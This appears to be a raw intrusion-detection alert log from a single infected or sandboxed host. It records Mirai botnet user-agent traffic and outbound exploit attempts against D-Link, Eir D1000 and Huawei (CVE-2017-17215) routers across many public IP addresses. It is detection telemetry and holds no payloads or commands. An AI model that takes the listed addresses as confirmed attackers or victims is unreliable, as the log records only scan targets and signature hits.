192.168.2.23200.234.188.12334796802846380 10/23/22-17:57:13.939438	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34796	80	192.168.2.23	200.234.188.123
192.168.2.23178.217.249.15446152802846380 10/23/22-17:57:28.012879	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46152	80	192.168.2.23	178.217.249.154
192.168.2.2346.228.150.8633954802846457 10/23/22-17:58:15.342921	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33954	80	192.168.2.23	46.228.150.86
192.168.2.2383.59.120.5057516802846380 10/23/22-17:58:19.929373	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57516	80	192.168.2.23	83.59.120.50
192.168.2.2388.208.224.2144718802027121 10/23/22-17:58:21.826412	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44718	80	192.168.2.23	88.208.224.21
192.168.2.23181.212.40.4760054802846380 10/23/22-17:57:49.035895	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60054	80	192.168.2.23	181.212.40.47
192.168.2.2388.198.95.19743626802027121 10/23/22-17:57:02.420013	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43626	80	192.168.2.23	88.198.95.197
192.168.2.2382.223.39.24847384802846380 10/23/22-17:56:39.305609	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47384	80	192.168.2.23	82.223.39.248
192.168.2.23149.96.34.12645698802835221 10/23/22-17:57:38.794574	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	45698	80	192.168.2.23	149.96.34.126
192.168.2.2388.221.203.6947578802027121 10/23/22-17:58:21.830071	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	47578	80	192.168.2.23	88.221.203.69
192.168.2.2354.191.47.17559730802841623 10/23/22-17:57:16.701947	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59730	80	192.168.2.23	54.191.47.175
192.168.2.23195.113.230.17643946802846457 10/23/22-17:57:59.921521	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43946	80	192.168.2.23	195.113.230.176
192.168.2.2370.126.129.1215738075472023548 10/23/22-17:58:11.467563	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57380	7547	192.168.2.23	70.126.129.121
192.168.2.2380.228.47.4556432802846380 10/23/22-17:58:39.130268	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56432	80	192.168.2.23	80.228.47.45
192.168.2.2395.173.229.2035368802027121 10/23/22-17:58:12.841339	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35368	80	192.168.2.23	95.173.229.20
192.168.2.2395.77.121.22134920802027121 10/23/22-17:57:16.182729	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34920	80	192.168.2.23	95.77.121.221
192.168.2.23195.116.63.24947134802846457 10/23/22-17:58:10.247956	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47134	80	192.168.2.23	195.116.63.249
192.168.2.23181.126.209.2451032802846380 10/23/22-17:57:11.279334	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51032	80	192.168.2.23	181.126.209.24
192.168.2.2395.141.143.15050112802027121 10/23/22-17:58:17.393076	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50112	80	192.168.2.23	95.141.143.150
192.168.2.2372.224.53.165895275472023548 10/23/22-17:58:32.325556	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58952	7547	192.168.2.23	72.224.53.16
192.168.2.23104.69.27.12234794802841623 10/23/22-17:57:25.409148	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34794	80	192.168.2.23	104.69.27.122
192.168.2.23178.62.5.24444888802846380 10/23/22-17:57:38.467376	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44888	80	192.168.2.23	178.62.5.244
192.168.2.2395.211.106.2050420802027121 10/23/22-17:58:21.852505	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50420	80	192.168.2.23	95.211.106.20
192.168.2.2388.215.75.18959232802027121 10/23/22-17:57:57.629258	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59232	80	192.168.2.23	88.215.75.189
192.168.2.23176.113.103.19454454802841623 10/23/22-17:57:20.378263	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54454	80	192.168.2.23	176.113.103.194
192.168.2.2395.142.172.24238786802027121 10/23/22-17:57:28.457799	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38786	80	192.168.2.23	95.142.172.242
192.168.2.232.17.224.18260416802846457 10/23/22-17:57:07.079283	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60416	80	192.168.2.23	2.17.224.182
192.168.2.2388.3.76.5746230802027121 10/23/22-17:58:05.207821	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46230	80	192.168.2.23	88.3.76.57
192.168.2.2389.218.185.10243754802846457 10/23/22-17:57:56.017518	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43754	80	192.168.2.23	89.218.185.102
192.168.2.2382.25.111.4435170802846380 10/23/22-17:57:07.339836	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35170	80	192.168.2.23	82.25.111.44
192.168.2.2366.39.4.2742812802841623 10/23/22-17:58:39.367963	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42812	80	192.168.2.23	66.39.4.27
192.168.2.2382.64.189.9633426802846380 10/23/22-17:56:39.282434	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33426	80	192.168.2.23	82.64.189.96
192.168.2.2395.100.5.19460618802027121 10/23/22-17:58:30.360553	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60618	80	192.168.2.23	95.100.5.194
192.168.2.2388.221.10.1349488802027121 10/23/22-17:57:52.295094	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49488	80	192.168.2.23	88.221.10.13
192.168.2.2395.217.161.8852038802027121 10/23/22-17:58:15.276855	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52038	80	192.168.2.23	95.217.161.88
192.168.2.2337.247.109.2546566802846457 10/23/22-17:57:31.330217	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46566	80	192.168.2.23	37.247.109.25
192.168.2.2395.131.28.13339304802027121 10/23/22-17:57:33.463534	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39304	80	192.168.2.23	95.131.28.133
192.168.2.2395.141.96.836304802027121 10/23/22-17:58:39.682437	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36304	80	192.168.2.23	95.141.96.8
192.168.2.2382.223.14.6151966802846380 10/23/22-17:57:07.292473	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51966	80	192.168.2.23	82.223.14.61
192.168.2.23200.84.15.11857298802835221 10/23/22-17:57:38.963880	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	57298	80	192.168.2.23	200.84.15.118
192.168.2.2395.59.181.3949176802027121 10/23/22-17:57:34.602784	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49176	80	192.168.2.23	95.59.181.39
192.168.2.2352.212.146.24040500802841623 10/23/22-17:57:48.276349	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40500	80	192.168.2.23	52.212.146.240
192.168.2.2395.86.88.2758636802027121 10/23/22-17:57:23.567467	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	58636	80	192.168.2.23	95.86.88.27
192.168.2.23197.221.165.4257110802835222 10/23/22-17:57:40.406047	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57110	80	192.168.2.23	197.221.165.42
192.168.2.2395.142.74.13140848802027121 10/23/22-17:58:12.741253	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40848	80	192.168.2.23	95.142.74.131
192.168.2.23178.135.107.241496802846380 10/23/22-17:57:55.445341	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41496	80	192.168.2.23	178.135.107.2
192.168.2.2385.214.218.22245658802846457 10/23/22-17:58:37.501336	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45658	80	192.168.2.23	85.214.218.222
192.168.2.23197.148.72.5134752802835222 10/23/22-17:57:20.141409	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34752	80	192.168.2.23	197.148.72.51
192.168.2.23188.225.77.3434432802846457 10/23/22-17:58:07.947814	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34432	80	192.168.2.23	188.225.77.34
192.168.2.2382.223.97.11250116802846380 10/23/22-17:58:06.179076	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50116	80	192.168.2.23	82.223.97.112
192.168.2.23112.3.27.13148980802027121 10/23/22-17:58:25.356484	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48980	80	192.168.2.23	112.3.27.131
192.168.2.235.19.248.8637522802846457 10/23/22-17:57:08.432868	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37522	80	192.168.2.23	5.19.248.86
192.168.2.23178.128.202.7153272802846380 10/23/22-17:57:38.466341	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53272	80	192.168.2.23	178.128.202.71
192.168.2.2380.67.92.20040860802846380 10/23/22-17:58:39.133161	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40860	80	192.168.2.23	80.67.92.200
192.168.2.2385.13.140.10356510802846457 10/23/22-17:57:00.155795	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56510	80	192.168.2.23	85.13.140.103
192.168.2.2395.211.72.7449486802027121 10/23/22-17:57:34.509756	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49486	80	192.168.2.23	95.211.72.74
192.168.2.23156.224.26.13244288372152835222 10/23/22-17:58:35.150947	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44288	37215	192.168.2.23	156.224.26.132
192.168.2.2377.56.168.325936075472835222 10/23/22-17:58:32.171744	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59360	7547	192.168.2.23	77.56.168.32
192.168.2.2346.237.123.11950710802846457 10/23/22-17:57:53.213224	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50710	80	192.168.2.23	46.237.123.119
192.168.2.2368.183.20.5556204802841623 10/23/22-17:57:16.524200	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56204	80	192.168.2.23	68.183.20.55
192.168.2.23112.161.239.16346156802027121 10/23/22-17:56:58.387449	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46156	80	192.168.2.23	112.161.239.163
192.168.2.2388.235.181.25355410802027121 10/23/22-17:56:55.681778	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55410	80	192.168.2.23	88.235.181.253
192.168.2.2342.200.190.18251968802841623 10/23/22-17:57:25.783579	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51968	80	192.168.2.23	42.200.190.182
192.168.2.2395.173.185.25238478802027121 10/23/22-17:57:18.747060	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38478	80	192.168.2.23	95.173.185.252
192.168.2.23112.184.61.16039982802027121 10/23/22-17:57:16.134908	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39982	80	192.168.2.23	112.184.61.160
192.168.2.2388.226.149.10748668802027121 10/23/22-17:58:02.198971	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48668	80	192.168.2.23	88.226.149.107
192.168.2.23181.208.96.16545410802846380 10/23/22-17:56:55.691471	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45410	80	192.168.2.23	181.208.96.165
192.168.2.2395.101.60.17738572802027121 10/23/22-17:57:49.525063	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38572	80	192.168.2.23	95.101.60.177
192.168.2.2388.99.248.6960762802027121 10/23/22-17:57:47.237870	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60762	80	192.168.2.23	88.99.248.69
192.168.2.2380.24.137.11456988802846380 10/23/22-17:57:43.288432	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56988	80	192.168.2.23	80.24.137.114
192.168.2.2380.71.226.18737474802846457 10/23/22-17:56:52.704313	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37474	80	192.168.2.23	80.71.226.187
192.168.2.2395.130.243.11357042802027121 10/23/22-17:58:12.780192	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57042	80	192.168.2.23	95.130.243.113
192.168.2.2395.100.242.14060258802027121 10/23/22-17:58:15.244265	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60258	80	192.168.2.23	95.100.242.140
192.168.2.2395.100.83.16753580802027121 10/23/22-17:57:28.440574	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53580	80	192.168.2.23	95.100.83.167
192.168.2.2389.43.31.5457864802846457 10/23/22-17:58:32.908012	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57864	80	192.168.2.23	89.43.31.54
192.168.2.23206.238.97.20740734802846380 10/23/22-17:58:39.797960	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40734	80	192.168.2.23	206.238.97.207
192.168.2.23178.208.51.13651970802846380 10/23/22-17:57:38.461146	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51970	80	192.168.2.23	178.208.51.136
192.168.2.23181.52.121.1442538802846380 10/23/22-17:56:55.685929	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42538	80	192.168.2.23	181.52.121.14
192.168.2.235.1.67.6940388802841623 10/23/22-17:57:48.303753	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40388	80	192.168.2.23	5.1.67.69
192.168.2.23156.234.29.10749996802841623 10/23/22-17:57:16.579158	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49996	80	192.168.2.23	156.234.29.107
192.168.2.23197.92.18.12436016802841623 10/23/22-17:57:31.468482	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36016	80	192.168.2.23	197.92.18.124
192.168.2.23178.33.180.15156192802846380 10/23/22-17:58:13.127638	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56192	80	192.168.2.23	178.33.180.151
192.168.2.2385.17.125.2734058802846457 10/23/22-17:58:37.499647	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34058	80	192.168.2.23	85.17.125.27
192.168.2.2395.100.66.14743244802027121 10/23/22-17:57:16.237386	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43244	80	192.168.2.23	95.100.66.147
192.168.2.23197.27.9.2474236475472023548 10/23/22-17:58:32.415987	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42364	7547	192.168.2.23	197.27.9.247
192.168.2.23112.160.247.15059220802027121 10/23/22-17:57:01.189457	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59220	80	192.168.2.23	112.160.247.150
192.168.2.2388.193.147.14457282802027121 10/23/22-17:57:05.148137	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57282	80	192.168.2.23	88.193.147.144
192.168.2.2395.129.213.11050132802027121 10/23/22-17:58:17.300669	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50132	80	192.168.2.23	95.129.213.110
192.168.2.23189.111.98.2384302675472023548 10/23/22-17:57:25.383642	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43026	7547	192.168.2.23	189.111.98.238
192.168.2.2341.84.236.4458066802841623 10/23/22-17:57:28.583889	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58066	80	192.168.2.23	41.84.236.44
192.168.2.2388.151.48.19352490802027121 10/23/22-17:57:49.412044	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52490	80	192.168.2.23	88.151.48.193
192.168.2.2346.226.104.2650440802846457 10/23/22-17:58:23.986617	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50440	80	192.168.2.23	46.226.104.26
192.168.2.2388.49.25.22253704802027121 10/23/22-17:57:31.203571	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	53704	80	192.168.2.23	88.49.25.222
192.168.2.2385.128.181.24648740802846457 10/23/22-17:57:41.270057	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48740	80	192.168.2.23	85.128.181.246
192.168.2.2378.94.95.13033366802846457 10/23/22-17:58:04.249275	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33366	80	192.168.2.23	78.94.95.130
192.168.2.2373.36.116.16655264802841623 10/23/22-17:56:55.929374	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55264	80	192.168.2.23	73.36.116.166
192.168.2.2337.59.227.5558258802846457 10/23/22-17:57:07.097568	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58258	80	192.168.2.23	37.59.227.55
192.168.2.23112.72.41.18337150802027121 10/23/22-17:58:29.927222	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37150	80	192.168.2.23	112.72.41.183
192.168.2.2395.217.26.22434290802027121 10/23/22-17:56:46.624349	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	34290	80	192.168.2.23	95.217.26.224
192.168.2.23164.155.193.23155812802846457 10/23/22-17:56:52.414039	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55812	80	192.168.2.23	164.155.193.231
192.168.2.23171.241.31.13659352802846457 10/23/22-17:57:16.952970	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59352	80	192.168.2.23	171.241.31.136
192.168.2.2389.56.34.2936972802846457 10/23/22-17:57:43.757423	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36972	80	192.168.2.23	89.56.34.29
192.168.2.23206.119.66.23745970802846380 10/23/22-17:57:18.693354	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45970	80	192.168.2.23	206.119.66.237
192.168.2.2395.59.128.24235482802027121 10/23/22-17:57:25.848350	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35482	80	192.168.2.23	95.59.128.242
192.168.2.23178.128.230.234146802846380 10/23/22-17:58:13.614230	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34146	80	192.168.2.23	178.128.230.2
192.168.2.23112.90.175.16846254802027121 10/23/22-17:58:29.972026	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46254	80	192.168.2.23	112.90.175.168
192.168.2.2384.247.164.4550144802846457 10/23/22-17:57:18.395660	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50144	80	192.168.2.23	84.247.164.45
192.168.2.2346.109.69.25039654802846457 10/23/22-17:58:24.002096	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39654	80	192.168.2.23	46.109.69.250
192.168.2.2380.87.225.10358326802846457 10/23/22-17:57:09.723251	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58326	80	192.168.2.23	80.87.225.103
192.168.2.23197.25.212.3157758802841623 10/23/22-17:57:11.163825	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57758	80	192.168.2.23	197.25.212.31
192.168.2.2395.101.41.23738134802027121 10/23/22-17:57:21.242418	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38134	80	192.168.2.23	95.101.41.237
192.168.2.2382.163.67.23150856802846380 10/23/22-17:58:06.232008	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50856	80	192.168.2.23	82.163.67.231
192.168.2.2389.106.200.7137496802846457 10/23/22-17:57:41.163628	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37496	80	192.168.2.23	89.106.200.71
192.168.2.232.19.151.13534012802846457 10/23/22-17:57:20.946574	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34012	80	192.168.2.23	2.19.151.135
192.168.2.235.190.73.21537404802846457 10/23/22-17:57:46.324510	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37404	80	192.168.2.23	5.190.73.215
192.168.2.2388.99.15.8346436802027121 10/23/22-17:56:51.012002	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46436	80	192.168.2.23	88.99.15.83
192.168.2.2379.118.143.15746958802835221 10/23/22-17:57:07.465546	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	46958	80	192.168.2.23	79.118.143.157
192.168.2.2395.70.194.6449750802027121 10/23/22-17:56:58.434241	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49750	80	192.168.2.23	95.70.194.64
192.168.2.23200.188.241.14644786802846380 10/23/22-17:58:09.688025	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44786	80	192.168.2.23	200.188.241.146
192.168.2.23213.108.249.9655778802846380 10/23/22-17:57:48.551671	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55778	80	192.168.2.23	213.108.249.96
192.168.2.2395.129.107.3648562802027121 10/23/22-17:57:38.630374	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48562	80	192.168.2.23	95.129.107.36
192.168.2.23178.183.133.18837906802846380 10/23/22-17:58:27.333501	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37906	80	192.168.2.23	178.183.133.188
192.168.2.23178.12.185.18435168802846380 10/23/22-17:56:58.275907	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35168	80	192.168.2.23	178.12.185.184
192.168.2.2346.17.6.9857472802846457 10/23/22-17:58:05.442861	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57472	80	192.168.2.23	46.17.6.98
192.168.2.2341.230.66.23041250372152835222 10/23/22-17:57:33.709636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41250	37215	192.168.2.23	41.230.66.230
192.168.2.2395.61.246.10259560802027121 10/23/22-17:57:56.453122	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59560	80	192.168.2.23	95.61.246.102
192.168.2.23156.241.118.18548470802841623 10/23/22-17:57:31.972792	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48470	80	192.168.2.23	156.241.118.185
192.168.2.2395.154.228.17756888802027121 10/23/22-17:58:07.315986	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56888	80	192.168.2.23	95.154.228.177
192.168.2.2395.101.58.14052542802027121 10/23/22-17:56:53.276555	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52542	80	192.168.2.23	95.101.58.140
192.168.2.2395.216.148.23446042802027121 10/23/22-17:58:27.444277	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	46042	80	192.168.2.23	95.216.148.234
192.168.2.2395.9.77.5956230802027121 10/23/22-17:57:21.077046	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56230	80	192.168.2.23	95.9.77.59
192.168.2.23192.144.163.18360784802841623 10/23/22-17:58:03.707662	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60784	80	192.168.2.23	192.144.163.183
192.168.2.2389.47.56.5233112802846457 10/23/22-17:58:07.871806	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33112	80	192.168.2.23	89.47.56.52
192.168.2.2386.245.217.8242670802846380 10/23/22-17:58:35.727279	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42670	80	192.168.2.23	86.245.217.82
192.168.2.2380.82.122.18033538802846457 10/23/22-17:56:52.718010	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33538	80	192.168.2.23	80.82.122.180
192.168.2.2395.216.194.16335948802027121 10/23/22-17:57:23.604253	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35948	80	192.168.2.23	95.216.194.163
192.168.2.23206.78.116.14839206802846380 10/23/22-17:57:40.734862	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39206	80	192.168.2.23	206.78.116.148
192.168.2.23213.133.224.13333140802846380 10/23/22-17:56:58.132191	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33140	80	192.168.2.23	213.133.224.133
192.168.2.23213.139.84.13934884802846380 10/23/22-17:57:54.130896	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34884	80	192.168.2.23	213.139.84.139
192.168.2.2388.221.221.16433512802027121 10/23/22-17:58:05.162720	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33512	80	192.168.2.23	88.221.221.164
192.168.2.23178.254.117.18558668802846380 10/23/22-17:58:27.251690	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58668	80	192.168.2.23	178.254.117.185
192.168.2.2395.89.4.4241694802027121 10/23/22-17:58:12.771738	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41694	80	192.168.2.23	95.89.4.42
192.168.2.2395.129.205.10849678802027121 10/23/22-17:58:30.352051	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49678	80	192.168.2.23	95.129.205.108
192.168.2.2366.39.4.2742812802835221 10/23/22-17:58:39.367963	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	42812	80	192.168.2.23	66.39.4.27
192.168.2.23122.4.212.10541990802846457 10/23/22-17:58:15.321404	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41990	80	192.168.2.23	122.4.212.105
192.168.2.23193.28.249.25459992802835222 10/23/22-17:57:04.344271	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59992	80	192.168.2.23	193.28.249.254
192.168.2.23156.244.197.338410802835221 10/23/22-17:58:21.114648	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	38410	80	192.168.2.23	156.244.197.3
192.168.2.2389.39.252.19655016802846457 10/23/22-17:57:41.166469	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55016	80	192.168.2.23	89.39.252.196
192.168.2.23213.152.55.249582802846380 10/23/22-17:58:00.630473	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49582	80	192.168.2.23	213.152.55.2
192.168.2.2388.94.8.14139860802027121 10/23/22-17:58:09.767578	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39860	80	192.168.2.23	88.94.8.141
192.168.2.23103.93.233.10545820802835222 10/23/22-17:57:04.336595	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45820	80	192.168.2.23	103.93.233.105
192.168.2.2382.21.24.17650304802846380 10/23/22-17:58:04.042717	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50304	80	192.168.2.23	82.21.24.176
192.168.2.2395.216.249.24643308802027121 10/23/22-17:58:15.238499	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43308	80	192.168.2.23	95.216.249.246
192.168.2.2385.208.102.13842900802846457 10/23/22-17:58:17.723277	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42900	80	192.168.2.23	85.208.102.138
